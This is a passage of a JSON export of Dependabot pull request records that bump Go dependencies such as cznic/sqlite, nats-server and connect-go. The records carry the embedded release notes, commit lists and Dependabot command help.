sqlite3_module version.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/107\"\u003e#107\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/107\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/107\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003evfsRead\u003c/code\u003e to properly handle partial and fragmented reads from \u003ccode\u003eio.Reader\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003ef.Read\u003c/code\u003e with \u003ccode\u003eio.ReadFull\u003c/code\u003e to ensure the buffer is fully populated, preventing premature \u003ccode\u003eSQLITE_IOERR_SHORT_READ\u003c/code\u003e errors on valid mid-stream partial reads. Unread tail bytes at EOF are now efficiently zero-filled using the built-in \u003ccode\u003eclear\u003c/code\u003e function.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/108\"\u003e#108\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/108\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/108\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eRefactor internal error formatting to safely handle uninitialized or closed database pointers.\u003c/li\u003e\n\u003cli\u003ePrevent a misleading \u0026quot;out of memory\u0026quot; error message when an operation fails and the underlying SQLite database handle is \u003ccode\u003eNULL\u003c/code\u003e (\u003ccode\u003edb == 0\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/109\"\u003e#109\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/109\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/109\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix error handling in database backup and restore initialization (\u003ccode\u003esqlite3_backup_init\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eEnsure error codes and messages are accurately read from the destination database handle rather than hardcoding the source or remote handle. This prevents swallowed errors or mismatched \u0026quot;not an error\u0026quot; messages when a backup or restore operation fails to start.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/111\"\u003e#111\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/111\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/111\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/e220cc9b51f0ce842490194538f3c45daf2572b3\"\u003e\u003ccode\u003ee220cc9\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !113\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/a58d5e552a64d5082bdf1488db35f27ce7536c1d\"\u003e\u003ccode\u003ea58d5e5\u003c/code\u003e\u003c/a\u003e Merge branch 'columns' into 'master'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/119d8b1c8514ceadf0a5a4aa8a9c94514b739377\"\u003e\u003ccode\u003e119d8b1\u003c/code\u003e\u003c/a\u003e add ColumnInfo, for inspecting query columns\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/c353a4f762ca821c6ebc6a17097e19e9dcec5306\"\u003e\u003ccode\u003ec353a4f\u003c/code\u003e\u003c/a\u003e upgrade to sqlite-vec v0.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/fe575e48232629112cce2e8bea368358e35c1616\"\u003e\u003ccode\u003efe575e4\u003c/code\u003e\u003c/a\u003e doc.go: update SQLite version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/3ccb9cab30387f2192593c4acb635e58fd6bbd5e\"\u003e\u003ccode\u003e3ccb9ca\u003c/code\u003e\u003c/a\u003e upgrade to SQLite 3.53.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/df1697738de700bdbfe7a6ed822a8ddef14f1c98\"\u003e\u003ccode\u003edf16977\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !112\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/172c3955c2894135d87e8a773248796afda13f77\"\u003e\u003ccode\u003e172c395\u003c/code\u003e\u003c/a\u003e Merge branch 'fix-openv2-handle-leak' into 'master'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/27197307bbdb9c5c2a6dc683803f9c6e956e35a6\"\u003e\u003ccode\u003e2719730\u003c/code\u003e\u003c/a\u003e fix openV2 handle leak, TLS leak, and misleading error on failed open\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/53c87f6f1d6ec3da80e5d094b823eb6e98292857\"\u003e\u003ccode\u003e53c87f6\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !111\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://gitlab.com/cznic/sqlite/compare/v1.48.1...v1.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/urgentry/urgentry/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/urgentry%2Furgentry/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"}},{"old_version":"2.12.7","new_version":"2.12.8","update_type":"patch","path":null,"pr_created_at":"2026-04-28T04:19:01.000Z","version_change":"2.12.7 → 2.12.8","issue":{"uuid":"4340554609","node_id":"PR_kwDOMkHuXs7WM0SB","number":386,"state":"open","title":"chore: bump github.com/nats-io/nats-server/v2 from 2.12.7 to 2.12.8","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T04:19:01.000Z","updated_at":"2026-04-28T04:19:12.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.7","new_version":"2.12.8","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.7 to 2.12.8.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.43.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8068\"\u003e#8068\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRefactored and simplified setting the pinned headers in consumers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8032\"\u003e#8032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eScanning for the starting sequence for consumers is now an asynchronous operation which no longer pauses the metalayer (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8051\"\u003e#8051\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReload logic on gateway \u003ccode\u003epinned_certs\u003c/code\u003e configuration has been corrected\u003c/li\u003e\n\u003cli\u003eRepeated \u003ccode\u003eCONNECT\u003c/code\u003e messages on a connection now clear subscriptions\u003c/li\u003e\n\u003cli\u003eJWT claims with validity times that cross midnight are now validated correctly\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/connz\u003c/code\u003e monitoring endpoint no longer discloses bearer JWTs\u003c/li\u003e\n\u003cli\u003eMonitoring redaction of route and cluster URL secrets when passed in as command line arguments\u003c/li\u003e\n\u003cli\u003eFixed a panic that could occur when negotiating compression on leafnode connections\u003c/li\u003e\n\u003cli\u003eMax control line enforcement for non-clients has been fixed\u003c/li\u003e\n\u003cli\u003eFixed a bug where setting message headers could mutate the input message buffers\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSolicited leafnode connections now send a connect advisory, which was previously missing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8015\"\u003e#8015\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMessage roll-ups are now applied on interest-based streams where there is no interest over the subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8019\"\u003e#8019\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can now catch up from incoming snapshots, correcting an edge case when scaling up (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a Raft commit index reset when terms mismatch (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8023\"\u003e#8023\u003c/a\u003e, contributed by \u003ca href=\"https://github.com/thecitymouse\"\u003e\u003ccode\u003e@​thecitymouse\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurging via scheduled \u003ccode\u003eNats-Schedule-Next: purge\u003c/code\u003e now errors when message scheduling is not enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8035\"\u003e#8035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecovering with a legacy zero index Raft snapshot will no longer panic (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8039\"\u003e#8039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMessages with a deduplication \u003ccode\u003eNats-Msg-Id\u003c/code\u003e header are no longer incorrectly deduplicated in mirrors (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8043\"\u003e#8043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic when scaling after a stream update when the assignment is not fully populated yet on recovery (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8049\"\u003e#8049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream info and consumer info requests will no longer return not found when the assignments are in-flight (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8054\"\u003e#8054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStreams and consumers now correctly reject path separators in asset names\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e9559e9ae3cd09ed29b157e6f19babb2cd1609e5\"\u003e\u003ccode\u003ee9559e9\u003c/code\u003e\u003c/a\u003e Release v2.12.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/972a686bb5942ddf28df407be7c7ae584f8d29d5\"\u003e\u003ccode\u003e972a686\u003c/code\u003e\u003c/a\u003e Release v2.12.8-RC.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f17e974e07b1552f032aeca478249cd2cc89dc94\"\u003e\u003ccode\u003ef17e974\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.12.8-RC.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/82b57ae5653112c2b6e6609730a01733e91fa7dd\"\u003e\u003ccode\u003e82b57ae\u003c/code\u003e\u003c/a\u003e [FIXED] c.setHeader mutates input message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2530117b4a9ee3dec25b8ff5eb460d731985d6f8\"\u003e\u003ccode\u003e2530117\u003c/code\u003e\u003c/a\u003e [FIXED] Max control line for non-clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/dfd2abc927badd253b7a7ea98e8fda6f89d8425d\"\u003e\u003ccode\u003edfd2abc\u003c/code\u003e\u003c/a\u003e [FIXED] retryDisconnectedSyncConsumers properly checks for closed clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/61e8ea84c9086bfc592e3eacfaddfdb312f63d35\"\u003e\u003ccode\u003e61e8ea8\u003c/code\u003e\u003c/a\u003e [IMPROVED] Refactor processInboundSourceMsg for simplicity\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/03c87eadde49cbf07c63827244b2ed282f296967\"\u003e\u003ccode\u003e03c87ea\u003c/code\u003e\u003c/a\u003e [FIXED] Source rolls sequence back on error reset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/83e3d3714ce3240822a8f3bd6e51cbe83458cf65\"\u003e\u003ccode\u003e83e3d37\u003c/code\u003e\u003c/a\u003e [FIXED] Source does not duplicate messages after leaf reconnect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2a0c5c7660d610ff0f34cf2cec79c223fe64b173\"\u003e\u003ccode\u003e2a0c5c7\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.7...v2.12.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.7\u0026new-version=2.12.8)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/osapi-io/osapi/pull/386","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/osapi-io%2Fosapi/issues/386","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/386/packages"}},{"old_version":"2.12.6","new_version":"2.14.0","update_type":"minor","path":null,"pr_created_at":"2026-04-27T06:04:13.000Z","version_change":"2.12.6 → 2.14.0","issue":{"uuid":"4333432826","node_id":"PR_kwDORbaf5c7V1zx9","number":195,"state":"closed","title":"chore(deps): bump the go-minor-patch group across 1 directory with 15 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T23:22:11.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-27T06:04:13.000Z","updated_at":"2026-05-18T23:22:13.000Z","time_to_close":1876678,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-minor-patch","update_count":15,"packages":[{"name":"connectrpc.com/connect","old_version":"1.19.1","new_version":"1.19.2","repository_url":"https://github.com/connectrpc/connect-go"},{"name":"firebase.google.com/go/v4","old_version":"4.18.0","new_version":"4.19.0","repository_url":"https://github.com/firebase/firebase-admin-go"},{"name":"github.com/alicebob/miniredis/v2","old_version":"2.36.1","new_version":"2.37.0","repository_url":"https://github.com/alicebob/miniredis"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/jackc/pgx/v5","old_version":"5.7.2","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/livekit/protocol","old_version":"1.44.1-0.20260120134243-0914cc74653e","new_version":"1.45.6","repository_url":"https://github.com/livekit/protocol"},{"name":"github.com/livekit/server-sdk-go/v2","old_version":"2.13.3","new_version":"2.16.3","repository_url":"https://github.com/livekit/server-sdk-go"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.98","new_version":"7.1.0","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/oklog/ulid/v2","old_version":"2.1.0","new_version":"2.1.1","repository_url":"https://github.com/oklog/ulid"},{"name":"github.com/redis/go-redis/v9","old_version":"9.17.2","new_version":"9.19.0","repository_url":"https://github.com/redis/go-redis"},{"name":"google.golang.org/api","old_version":"0.269.0","new_version":"0.277.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-minor-patch group with 12 updates in the /server directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [connectrpc.com/connect](https://github.com/connectrpc/connect-go) | `1.19.1` | `1.19.2` |\n| [firebase.google.com/go/v4](https://github.com/firebase/firebase-admin-go) | `4.18.0` | `4.19.0` |\n| [github.com/alicebob/miniredis/v2](https://github.com/alicebob/miniredis) | `2.36.1` | `2.37.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.7.2` | `5.9.2` |\n| [github.com/livekit/protocol](https://github.com/livekit/protocol) | `1.44.1-0.20260120134243-0914cc74653e` | `1.45.6` |\n| [github.com/livekit/server-sdk-go/v2](https://github.com/livekit/server-sdk-go) | `2.13.3` | `2.16.3` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.98` | `7.1.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.14.0` |\n| [github.com/oklog/ulid/v2](https://github.com/oklog/ulid) | `2.1.0` | `2.1.1` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.17.2` | `9.19.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.269.0` | `0.277.0` |\n\n\nUpdates `connectrpc.com/connect` from 1.19.1 to 1.19.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/connectrpc/connect-go/releases\"\u003econnectrpc.com/connect's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.19.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eGovernance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ca href=\"https://github.com/timostamm\"\u003e\u003ccode\u003e@​timostamm\u003c/code\u003e\u003c/a\u003e as a maintainer in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/905\"\u003econnectrpc/connect-go#905\u003c/a\u003e 🎉\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUse 'deadline_exceeded' instead of 'canceled' on HTTP/2 cancelation when appropriate by \u003ca href=\"https://github.com/jhump\"\u003e\u003ccode\u003e@​jhump\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/904\"\u003econnectrpc/connect-go#904\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix nil pointer deref in duplexHTTPCall under concurrent Send + CloseAndReceive by \u003ca href=\"https://github.com/simonferquel\"\u003e\u003ccode\u003e@​simonferquel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/919\"\u003econnectrpc/connect-go#919\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRefactor memhttptest to work with Go 1.25 synctest by \u003ca href=\"https://github.com/codefromthecrypt\"\u003e\u003ccode\u003e@​codefromthecrypt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/881\"\u003econnectrpc/connect-go#881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDoc clarifications by \u003ca href=\"https://github.com/emcfarlane\"\u003e\u003ccode\u003e@​emcfarlane\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/911\"\u003e#911\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/912\"\u003e#912\u003c/a\u003e) and \u003ca href=\"https://github.com/stefanvanburen\"\u003e\u003ccode\u003e@​stefanvanburen\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/906\"\u003e#906\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/codefromthecrypt\"\u003e\u003ccode\u003e@​codefromthecrypt\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/881\"\u003econnectrpc/connect-go#881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/simonferquel\"\u003e\u003ccode\u003e@​simonferquel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/919\"\u003econnectrpc/connect-go#919\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e:\n\u003ca href=\"https://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\"\u003ehttps://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/1c195ae986164a681af958e675dd283eed23e365\"\u003e\u003ccode\u003e1c195ae\u003c/code\u003e\u003c/a\u003e Prepare for v1.19.2 (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/920\"\u003e#920\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/96abc6b87132d1c43f67f1f5c91efdcb6a59b4aa\"\u003e\u003ccode\u003e96abc6b\u003c/code\u003e\u003c/a\u003e Upgrade golangci-lint to v2 (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/917\"\u003e#917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/be72fa520cdc8b942db6839dadbe9af0b44b40df\"\u003e\u003ccode\u003ebe72fa5\u003c/code\u003e\u003c/a\u003e Clarify concurrent use semantics for streaming types (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/911\"\u003e#911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/299d2e7cdfb5e2fa3fa0963e6cedc51a7364521d\"\u003e\u003ccode\u003e299d2e7\u003c/code\u003e\u003c/a\u003e Fix nil pointer deref in duplexHTTPCall under concurrent Send + CloseAndRecei...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/e299aa60ffcf91633e48fcb3dd594cbbb187ec7f\"\u003e\u003ccode\u003ee299aa6\u003c/code\u003e\u003c/a\u003e Bump google.golang.org/grpc from 1.76.0 to 1.79.3 in /internal/conformance (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/7b531c03580c4ea12390a022184ca5bf5418f31b\"\u003e\u003ccode\u003e7b531c0\u003c/code\u003e\u003c/a\u003e Clarify UnaryFunc response type (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/912\"\u003e#912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/02f23a3116bcb97a69602941b54a7e16c5471b46\"\u003e\u003ccode\u003e02f23a3\u003c/code\u003e\u003c/a\u003e Fix typo in RELEASE.md (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/906\"\u003e#906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/ec6f523e6b7081e9cf3e2836f4a16006b5c63b29\"\u003e\u003ccode\u003eec6f523\u003c/code\u003e\u003c/a\u003e Add Timo Stamm to maintainers (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/905\"\u003e#905\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/59cc6973156cd9164d6bea493b1d106ed894f2df\"\u003e\u003ccode\u003e59cc697\u003c/code\u003e\u003c/a\u003e Use 'deadline_exceeded' instead of 'canceled' on HTTP/2 cancelation when appr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/e9aff4ae399e443d15af065cfbee0a4ff38bed06\"\u003e\u003ccode\u003ee9aff4a\u003c/code\u003e\u003c/a\u003e Bump connectrpc.com/conformance from 